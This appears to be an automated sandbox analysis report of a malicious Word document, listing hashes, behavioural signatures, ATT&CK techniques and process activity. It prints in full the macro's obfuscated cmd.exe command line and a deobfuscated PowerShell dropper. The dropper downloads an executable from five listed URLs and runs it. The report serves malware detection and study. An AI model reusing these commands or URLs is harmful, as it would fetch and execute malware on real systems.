403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704

General

Target

eidyhres.doc
Size

106KB
MD5

30326e79afdba5026d51ab50b37939d2
SHA1

b4b420c4a464d12f62b94c65aff4ba230c95f3f2
SHA256

403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704
SHA512

9821a19b0abb1c7ec8f929a47926bdd5a175a006e56e47cba8995cabc1de8c2b04d80b4ace7e7d6227544f58d00efc89f7d569da3bd917d70e42ae1c8dd9e0ce

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://amedion.net/uNMU39B

exe.dropper

http://biciculturabcn.com/6s97jYza

exe.dropper

http://valenetinternet.com.br/3Rdtv

exe.dropper

http://goshowcar.com/9RVqaX

exe.dropper

http://wheelbalancetraining.com/9il

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4568	5008	Cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 4536 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

Cmd.exe

pid process

4568 Cmd.exe

flow	pid	process
16	4536	powershell.exe

pid	process
4568	Cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5008 WINWORD.EXE
5008 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4536 powershell.exe
4536 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4536 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

5008 WINWORD.EXE
5008 WINWORD.EXE
5008 WINWORD.EXE
5008 WINWORD.EXE
5008 WINWORD.EXE
5008 WINWORD.EXE
5008 WINWORD.EXE

pid	process
5008	WINWORD.EXE
5008	WINWORD.EXE

pid	process
4536	powershell.exe
4536	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4536	powershell.exe

pid	process
5008	WINWORD.EXE
5008	WINWORD.EXE
5008	WINWORD.EXE
5008	WINWORD.EXE
5008	WINWORD.EXE
5008	WINWORD.EXE
5008	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECmd.exe

description	pid	process	target process
PID 5008 wrote to memory of 4568	5008	WINWORD.EXE	Cmd.exe
PID 5008 wrote to memory of 4568	5008	WINWORD.EXE	Cmd.exe
PID 4568 wrote to memory of 4536	4568	Cmd.exe	powershell.exe
PID 4568 wrote to memory of 4536	4568	Cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eidyhres.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5008

C:\Windows\SYSTEM32\Cmd.exe
Cmd /V:ON/C"set # =wjthMMiMUrvGUsCvwHWNTVrp=/xoau-blS9P:)(7n6y}B;eFz31,d{XkgcY$Dm '\IKf.q@E+R&&for %p in (23,27,16,46,22,13,3,46,32,32,62,59,23,66,48,24,40,46,16,30,27,31,1,46,57,2,62,19,46,2,68,18,46,31,14,32,6,46,40,2,45,59,21,71,67,24,63,3,2,2,23,36,25,25,28,61,46,52,6,27,40,68,40,46,2,25,29,19,7,12,49,34,44,70,3,2,2,23,36,25,25,31,6,57,6,57,29,32,2,29,22,28,31,57,40,68,57,27,61,25,41,13,34,39,1,58,48,28,70,3,2,2,23,36,25,25,15,28,32,46,40,46,2,6,40,2,46,22,40,46,2,68,57,27,61,68,31,22,25,49,73,52,2,15,70,3,2,2,23,36,25,25,56,27,13,3,27,16,57,28,22,68,57,27,61,25,34,73,21,69,28,54,70,3,2,2,23,36,25,25,16,3,46,46,32,31,28,32,28,40,57,46,2,22,28,6,40,6,40,56,68,57,27,61,25,34,6,32,63,68,33,23,32,6,2,38,63,70,63,37,45,59,6,65,54,62,24,62,63,50,41,34,63,45,59,65,35,2,24,59,46,40,15,36,2,46,61,23,72,63,64,63,72,59,6,65,54,72,63,68,46,26,46,63,45,67,27,22,46,28,57,3,38,59,66,16,47,62,6,40,62,59,21,71,67,37,53,2,22,42,53,59,23,66,48,68,60,27,16,40,32,27,28,52,47,6,32,46,38,59,66,16,47,51,62,59,65,35,2,37,45,33,2,28,22,2,30,35,22,27,57,46,13,13,62,59,65,35,2,45,31,22,46,28,55,45,43,57,28,2,57,3,53,43,43,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,80)do set ~ =!~ !!# :~%p,1!&&if %p geq 80 call %~ :*~ !=%"
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $pKz=new-object Net.WebClient;$VEf='http://amedion.net/uNMU39B@http://biciculturabcn.com/6s97jYza@http://valenetinternet.com.br/3Rdtv@http://goshowcar.com/9RVqaX@http://wheelbalancetraining.com/9il'.Split('@');$iIX = '169';$IPt=$env:temp+'\'+$iIX+'.exe';foreach($KwF in $VEf){try{$pKz.DownloadFile($KwF, $IPt);Start-Process $IPt;break;}catch{}}
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4536

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/4536-137-0x0000015658D60000-0x0000015658D82000-memory.dmp

Filesize
136KB

Download
memory/4536-141-0x0000015640726000-0x0000015640728000-memory.dmp

Filesize
8KB

Download
memory/4536-139-0x0000015640720000-0x0000015640722000-memory.dmp

Filesize
8KB

Download
memory/4536-140-0x0000015640723000-0x0000015640725000-memory.dmp

Filesize
8KB

Download
memory/4536-138-0x00007FFD45F60000-0x00007FFD46A21000-memory.dmp

Filesize
10.8MB

Download
memory/4536-136-0x0000000000000000-mapping.dmp

Download
memory/4568-135-0x0000000000000000-mapping.dmp

Download
memory/5008-134-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-130-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-133-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-132-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-131-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-142-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-143-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-144-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download
memory/5008-145-0x00007FFD30710000-0x00007FFD30720000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads